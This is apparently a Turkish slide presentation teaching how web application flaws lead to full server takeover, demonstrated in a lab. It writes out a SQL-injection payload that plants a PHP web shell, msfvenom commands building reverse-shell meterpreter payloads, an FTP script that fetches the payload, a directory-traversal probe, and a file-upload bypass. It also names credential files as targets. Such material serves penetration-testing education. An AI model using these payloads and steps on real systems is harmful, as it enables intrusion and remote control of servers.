Web uygulama açıklıklarından faydalanarak sistem ele geçirme
28 Mar 2016•0 j'aime
24 j'aime
Soyez le premier à aimer ceci
afficher plus
•4,500 vues
vues
Nombre de vues
0
Sur Slideshare
0
À partir des intégrations
0
Nombre d'intégrations
0
Signaler
Internet
Bu sunum web uygulamalarının kritikliği ne kadar düşük olursa olsun uygulama açıklıklarının sistem ve ağ güvenliğini tehdit edebileceğini göstermektedir.
İşletim Sistemini Ele Geçirme
Web uygulama açıklıkları sadece veri sızması veya suistimale
imkan tanımaz.
Web uygulamasının eriştiği veriler veya operasyonel kritikliği ne
kadar düşük öncelikli olursa olsun barındırabileceği açıklıklar
sayesinde üzerinde koştuğu işletim sisteminin ele geçirilmesine
imkan tanıyabilir. Bu durumda saldırgan diğer hedeflere daha
etkili saldırı yapabilecek bir konuma erişmiş olur.
Bu nedenle web uygulamalarının kritikliklerini değerlendirirken
mutlaka web uygulamasının ve bu uygulamanın kullandığı
veritabanlarının bulunduğu ağ bölümlerinin kritiklikleri de
dikkate alınmalıdır.
İşletim Sistemini Ele Geçirme
İşletim sisteminin ele geçirilmesiyle sonuçlanabilecek web
uygulama açıklıkları şunlardır* (rastlanma sıklığına göre
sıralanmıştır):
• SQL Injection
• Dizin Aşım Açıklıkları
• File Upload Riskleri
• RFI / LFI Açıklıkları (PHP diline özel bir açıklık türü)
• (İşletim Sistemi) Command Injection
• Kod Injection (genellikle PHP ve Perl dillerinde görülen bir açıklık türü)
*Güvenlik alanı daimi bir araştırma alanıdır. Burada bahsetmeyi atladığımız bir web uygulama
açıklık türü de pekala sistem ele geçirmek için kullanılabilir. Ayrıca bu açıklıklar bahsettiğimiz
şekillerin dışında da kullanılarak işletim sistemi ele geçirme amacıyla kullanılabilir.
İşletim Sistemini Ele Geçirme
İşletim Sistemine
Shell veya
Terminal Erişimi
Dizin Aşım
Açıklıkları
RFI / LFI
File Upload
Açıklığı
OS Command
Injection
SQL Injection
Hassas Erişim
Bilgilerini İçeren
Bir Dosyayı Oku
OS Komutları
Çalıştırmamıza İmkan
Veren Bir PHP
Kodunu Include Et
OS Komutları ile
Sisteme Payload
Yükle
SSH, Telnet, VNC
Gibi Servislerle
Sisteme Doğrudan
Eriş
Kod Injection
Sisteme Yüklenmiş
Olan Backdoor
Payload'unu
Çalıştır
SQL Injection ile
Sisteme Web
Uygulaması Yaz
OS Komutları ile
Web Uygulaması
Yaz
Web Uygulaması
ile Sisteme
Payload Yükle
SQL Injection ile
OS Komutları
Çalıştır
Sisteme Web
Uygulaması Yükle
Veritabanı
Fonksiyonalitesiyle
Sisteme Payload
Yükle
İşletim Sistemini Ele Geçirme
İşletim Sistemine
Shell veya
Terminal Erişimi
Dizin Aşım
Açıklıkları
RFI / LFI
File Upload
Açıklığı
OS Command
Injection
SQL Injection
Hassas Erişim
Bilgilerini İçeren
Bir Dosyayı Oku
OS Komutları
Çalıştırmamıza İmkan
Veren Bir PHP
Kodunu Include Et
OS Komutları ile
Sisteme Payload
Yükle
SSH, Telnet, VNC
Gibi Servislerle
Sisteme Doğrudan
Eriş
Kod Injection
Sisteme Yüklenmiş
Olan Backdoor
Payload'unu
Çalıştır
SQL Injection ile
Sisteme Web
Uygulaması Yaz
OS Komutları ile
Web Uygulaması
Yaz
Web Uygulaması
ile Sisteme
Payload Yükle
SQL Injection ile
OS Komutları
Çalıştır
Sisteme Web
Uygulaması Yükle
Veritabanı
Fonksiyonalitesiyle
Sisteme Payload
Yükle
İşletim Sistemini Ele Geçirme
SQL Injection ile İşletim Sistemi Ele Geçirme Örneği
Temel Adımlar
SQL injection açıklığının tespiti sırasında veritabanının MySQL olduğunu
öğrendik, buna göre;
• MySQL'in bize sağladığı batched query yöntemini kullanacağız (injection
yaptığımız sorguyu sorunsuz bir syntax ile sonlandırdıktan sonra veritabanı
fonksiyonalitesini kullanacak komutumuzu yazacağız)
• MySQL'in "SELECT ... INTO OUTFILE ..." özelliğinden faydalanarak bir web
uygulaması yazacağız
• Bu web uygulaması bizim verdiğimiz komutları işletim sisteminde işletecek
• İşletim sistemi komutları ile payload dosyamızı hedef sunucuya
yükleyeceğiz
• İşletim sistemi komutu ile payload'u çalıştıracağız ve shell'imizi alacağız
İşletim Sistemini Ele Geçirme
Repeater modülü ile SQL Injection açıklığına
sahip olan parametreyi ve MySQL'in SELECT ...
INTO OUTFILE ... özelliğini kullanarak basit bir
PHP uygulamasını web dizinleri içine yazacağız.
Tabi bunun için web sunucusunun bu dizinlere
yazma hakkı bulunması önşart.
; SELECT "<?php System($_REQUEST['cmd']); ?>"
INTO OUTFILE "C:wampwwwcmd.php"
İşletim Sistemini Ele Geçirme
Uygulama sunucusuna yüklemek üzere bir
meterpreter staged payload üretiyoruz.
msfvenom -p windows/meterpreter/reverse_tcp
lhost=192.168.163.141 lport=4444 -f exe -o
payload.exe
İşletim Sistemini Ele Geçirme
Bu payload'u ftp sunucusu olarak kullanacağımız
Windows sunucusuna kopyalıyoruz.
İşletim Sistemini Ele Geçirme
Şimdi ftp ile payload.exe'yi web sunucusuna
çekebilmek için yine cmd.php uygulamasını
kullanarak bir ftp script'i oluşturacağız.
open 192.168.1.90
user anonymous pwd
bin
get payload.exe
bye
Bu aşamada interaktif bir shell bağlantımız
olmadığı için ftp'nin bu özelliğini kullanacak ve
script sayesinde tek komutla payload'u hedef
sunucuya yükleyeceğiz.
Bu satırları oluşturmak için defalarca manuel
olarak cmd.php uygulamasını çalıştırmak yerine
Burp Suite'in intruder modülünden
faydalanacağız.
İşletim Sistemini Ele Geçirme
Payload dosyamızı web sunucusuna aktarabilmek
için ftp scriptinde belirtilen IP adresinde bir ftp
servisi başlatalım
İşletim Sistemini Ele Geçirme
cmp.php uygulamamız sayesinde ftp istemcisini
ftp.txt script'i ile çalıştıralım ve payload
dosyamızın transferini gerçekleştirelim
İşletim Sistemini Ele Geçirme
Meterpreter handler'ımızı başlatalım ve birinci
stage payload'umuzun bağlantı kurmasını
bekleyelim
İşletim Sistemini Ele Geçirme
Payload.exe dosyasını yazdığımız web uygulaması
sayesinde çalıştırdığımızda reverse TCP bağlantısı
kuruldu ve Meterpreter payload'umuzun ikinci
stage'i hedef sunucuya yüklendi.
İşletim Sistemini Ele Geçirme
SQL Injection açıklığı sayesinde web sunucusuna
shell erişimi sağladık
İşletim Sistemini Ele Geçirme
SQL Injection ile Başka Hangi Yöntemlerle İşletim
Sistemi Ele Geçirebilirim Diyenler İçin;
SQLMAP'in yazarlarından, detaylı bir araştırma makalesi:
• http://www.slideshare.net/inquis/advanced-sql-injection-to-
operating-system-full-control-whitepaper-4633857
İşletim Sistemini Ele Geçirme
İşletim Sistemine
Shell veya
Terminal Erişimi
Dizin Aşım
Açıklıkları
RFI / LFI
File Upload
Açıklığı
OS Command
Injection
SQL Injection
Hassas Erişim
Bilgilerini İçeren
Bir Dosyayı Oku
OS Komutları
Çalıştırmamıza İmkan
Veren Bir PHP
Kodunu Include Et
OS Komutları ile
Sisteme Payload
Yükle
SSH, Telnet, VNC
Gibi Servislerle
Sisteme Doğrudan
Eriş
Kod Injection
Sisteme Yüklenmiş
Olan Backdoor
Payload'unu
Çalıştır
SQL Injection ile
Sisteme Web
Uygulaması Yaz
OS Komutları ile
Web Uygulaması
Yaz
Web Uygulaması
ile Sisteme
Payload Yükle
SQL Injection ile
OS Komutları
Çalıştır
Sisteme Web
Uygulaması Yükle
Veritabanı
Fonksiyonalitesiyle
Sisteme Payload
Yükle
Dizin Aşım Açıklığı Örneği
İşletim Sistemini Ele Geçirme
Dosya indirme
fonksiyonalitesi
Dizin aşımı saldırısı için
potansiyel bir hedef
Dizin Aşım Açıklığı Örneği
İşletim Sistemini Ele Geçirme
Giden parametre bir
dosya adı gibi görünüyor
İşletim Sistemini Ele Geçirme
Dizin aşım açıklığının bulunup bulunmadığını ve web
uygulama kök dizininin dışına çıkıp çıkamayacağımızı
görmek için Windows işletim sistemlerinde bulunan
başka bir dosyanın içeriğini göremeye çalışalım.
........Windowswin.ini
İşletim Sistemini Ele Geçirme
Dizin Aşım Açıklığı ile İşletim Sistemi Ele Geçirme
Örneği
Temel Adımlar
• Öncelikle içinde hassas erişim bilgileri barındırabilecek bir dosyayı tespit
etmemiz gerekli
• Bunun için kullanabileceğimiz yöntemlerden birisi "nikto" gibi bir aracı
kullanarak ilginç olabilecek bir uygulama dosyasının tespiti olabilir
• Nikto ile tespit ettiğimiz kod dosyasının içeriğinde veritabanı bağlantı
cümlesini gözlemleyeceğiz
• Buradaki veritabanı erişim bilgilerini kullanarak ve MySQL veritabanının
uzaktan erişilebilmesi sayesinde veritabanına uzaktan bağlanacağız
• MySQL'in sağladığı imkanlar sayesinde OS komutları ile sistemi ele
geçireceğiz
İşletim Sistemini Ele Geçirme
Dizin Aşım Açıklığı ile İşletim Sistemi Ele Geçirme
Örneği
Ön Şartlar
Örneğimizde MySQL sunucusuna uzaktan "root" kullanıcısıyla erişim sağlıyoruz.
Öntanımlı olarak veritabanı sunucusuna uzaktan "root" erişimi mümkün
değildir. Bunun için şu ayarın yapılmış olduğunu varsayıyoruz:
GRANT ALL PRIVILEGES ON *.* TO 'root'@'%'
IDENTIFIED BY 'btrisk'
WITH GRANT OPTION;
FLUSH PRIVILEGES;
İşletim Sistemini Ele Geçirme
Nikto'nun tespitleri arasında erişim
bilgileri bulunma ihtimali olan
"config.php" dosyasının adını görebiliriz
İşletim Sistemini Ele Geçirme
MySQL veritabanı için "root" kullanıcı
parolasının "btrisk" olduğunu bu
dosyanın içinde görüyoruz
İşletim Sistemini Ele Geçirme
Sunucunun MySQL servisine uzaktan
erişilebildiği görülüyor
İşletim Sistemini Ele Geçirme
Bu noktadan sonra yazılacak bir web
uygulaması aracılığı ile OS komutları
çalıştırılabilir ve bir payload yüklenerek
sistem ele geçirilebilir.
İşletim Sistemini Ele Geçirme
Dizin Aşım Açıklığı ile İşletim Sistemi Ele Geçirme
Örneği
Diğer Alternatif Hassas Dosyalar
Hedef web sunucusu eğer Unix veya Linux işletim sistemine sahip olsaydı,
sistemi ele geçirmek amacıyla ilk hedeflerimizden birisi parola hash'lerinin
tutulduğu "passwd" veya "shadow" dosyaları olabilirdi.
Hedef web uygulaması bir ASP.NET uygulaması olsaydı içinde veritabanı
bağlantı cümlelerini de barındırma ihtimali yüksek olan "web.config" dosyası iyi
bir hedef olabilirdi.
Sunucu üzerinde bulunabilecek yedekleme veya diğer batch işlemler için
kullanılan script'ler içlerinde potansiyel olarak veritabanı erişim bilgilerini
barındırabilirler.
Sunucu üzerindeki log dosyaları erişim bilgileri barındırabilir.
İşletim Sistemini Ele Geçirme
İşletim Sistemine
Shell veya
Terminal Erişimi
Dizin Aşım
Açıklıkları
RFI / LFI
File Upload
Açıklığı
OS Command
Injection
SQL Injection
Hassas Erişim
Bilgilerini İçeren
Bir Dosyayı Oku
OS Komutları
Çalıştırmamıza İmkan
Veren Bir PHP
Kodunu Include Et
OS Komutları ile
Sisteme Payload
Yükle
SSH, Telnet, VNC
Gibi Servislerle
Sisteme Doğrudan
Eriş
Kod Injection
Sisteme Yüklenmiş
Olan Backdoor
Payload'unu
Çalıştır
SQL Injection ile
Sisteme Web
Uygulaması Yaz
OS Komutları ile
Web Uygulaması
Yaz
Web Uygulaması
ile Sisteme
Payload Yükle
SQL Injection ile
OS Komutları
Çalıştır
Sisteme Web
Uygulaması Yükle
Veritabanı
Fonksiyonalitesiyle
Sisteme Payload
Yükle
File Upload Açıklığı Örneği
İşletim Sistemini Ele Geçirme
Uygulamanın resim yükleme
fonksiyonunu kullanıyoruz.
Uygulama resim dosyasının ismini
aşağıdaki gibi oluşturuyor ve bunu
istemci tarafında belirlemiş oluyor.
İşletim Sistemini Ele Geçirme
Bilgilerim sayfasında bulunan linkleri
incelediğimizde fotoğraf dosyasının
bu isimle çekildiğini görüyoruz.
Buradan yüklenen dosyaların
"/profile_photo" dizini altına
yüklendiğini varsayabiliriz.
İşletim Sistemini Ele Geçirme
İşletim Sistemini Ele Geçirme
File Upload Açıklığı ile İşletim Sistemi Ele Geçirme
Örneği
Temel Adımlar
• Dosya yükleme açıklığı sayesinde istediğimiz web uygulamasını sunucuya
yükleyebiliriz.
• Bu örnekte Metasploit'in PHP payload oluşturma imkanından
faydalanacağız. Bunun için reverse tcp bağlantısı kuracak bir PHP dosyası
oluşturacak ve sunucuya bu dosyayı yükleyeceğiz.
• Metasploit multi handler aracı ile bağlantıyı beklerken yüklediğimiz
uygulamayı çalıştıracağız ve handler bizim için stage 2 payload'u sisteme
yükleyecek.
• Bu noktadan sonra meterpreter'in gelişmiş imkanları sayesinde web sunucu
prosesinin hakları ile sisteme erişeceğiz.
İşletim Sistemini Ele Geçirme
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.163.141 LPORT=4444 -f raw > shell.php
Metasploit aracılığıyla handler'ımıza
bağlanarak 2. stage payload'u
çekecek bir PHP kodunu üretiyoruz.
Kullandığımız payload
php/meterpreter_reverse_tcp
İşletim Sistemini Ele Geçirme
Üretilen payload'un PHP olarak
yorumlanabilmesi için başına ve
sonuna PHP tag eklemesini
yapmamız gerekiyor.
İşletim Sistemini Ele Geçirme
Metasploit multi handler modülü ile
bize bağlanacak stage 1 PHP
payload'umuzdan gelecek bağlantı
talebini bekliyoruz.
İşletim Sistemini Ele Geçirme
Bir dosya yükleme isteği başlatmak
için Browse düğmesine tıklayalım
İşletim Sistemini Ele Geçirme
HTML inpug tag'i içinde dosya tipi
imaj dosyaları olarak kısıtlanmış. Bu
kontrolü HTML içinden de
temizleyebiliriz, giden mesajı Burp
ile kestiğimizde de dosya adı ve
içeriğini düzenleyebiliriz.
İşletim Sistemini Ele Geçirme
Şimdilik bir resim dosyası seçelim ve
dosya yükle düğmesine basalım,
değişikliği kestiğimiz istek üzerinde
gerçekleştirelim.
Burp content miktarının değişikliği
için hesaplamayı yaparak bizim için
Content-Length başlığını
düzenleyecek nasıl olsa.
İşletim Sistemini Ele Geçirme
Değiştirilmiş dosya adı parametresi
ve dosya içeriği (shell.php)
İşletim Sistemini Ele Geçirme
Dosya yükleme işlemimiz başarı ile
gerçekleşmiş gibi görünüyor.
İşletim Sistemini Ele Geçirme
Resim dosyalarının yazıldığı dizinin /profile_photo dizini
olduğunu daha önce görmüştük. Bu isteklerden birini repeater
modülüne atarak yüklediğimiz shell.php dosyasını çalıştıralım.
Apache'nin eklediği Last-Modified HTTP başlığı nedeniyle bu
istek her uygulamaya girişte yapılmıyor, bu nedenle bu isteği
görebilmemiz için tarayıcı belleğini boşaltmamız gerekebilir.
İşletim Sistemini Ele Geçirme
shell.php sayfasına istekte
bulunduğumuzda payload'umuz aktif hale
gelmiş oluyor
İşletim Sistemini Ele Geçirme
Hedef sunucumuz handler'ımıza bağlandığında artık shell
erişimimizi sağlayabiliriz.
Bu çalışmanın yapıldığı sırada malesef bu payload'un pek
kararlı olmadığınız gözlemledik, ancak metodun çalıştığını
bu örnekle görebiliriz.
İşletim Sistemini Ele Geçirme
Ele geçirme yöntemlerine etki eden faktörler
SQL injection açıklığı için
• Hedef veritabanı nedir?
• Veritabanı tek seferde birden fazla SQL komutuna izin
verir mi?
• Veritabanının OS komutu çalıştırma imkanı var mıdır?
• Veritabanının bir dosyaya yazma imkanı var mıdır?
İşletim Sistemini Ele Geçirme
Ele geçirme yöntemlerine etki eden faktörler
Payload seçimi, payload yükleme yöntemi seçimi için
• Hedef işletim sistemi nedir?
• Bu işletim sisteminde öntanımlı olarak bulunan veya
sonradan yüklenmiş dosya transfer komut imkanları
nelerdir?
• İşletim sistemine yönelik olarak nasıl bir payload
kullanmayı tercih edeceğiz?
İşletim Sistemini Ele Geçirme
Ele geçirme yöntemlerine etki eden faktörler
Erişim bilgileri ele geçirildiğinde
• İşletim sistemi üzerinde hangi servisler aktiftir?
Uygulama dilinin tespiti
• LFI/RFI açıklıklarının analizi için
• File upload açıklığının kullanılması için
• Kod injection açıklıklarının analizi için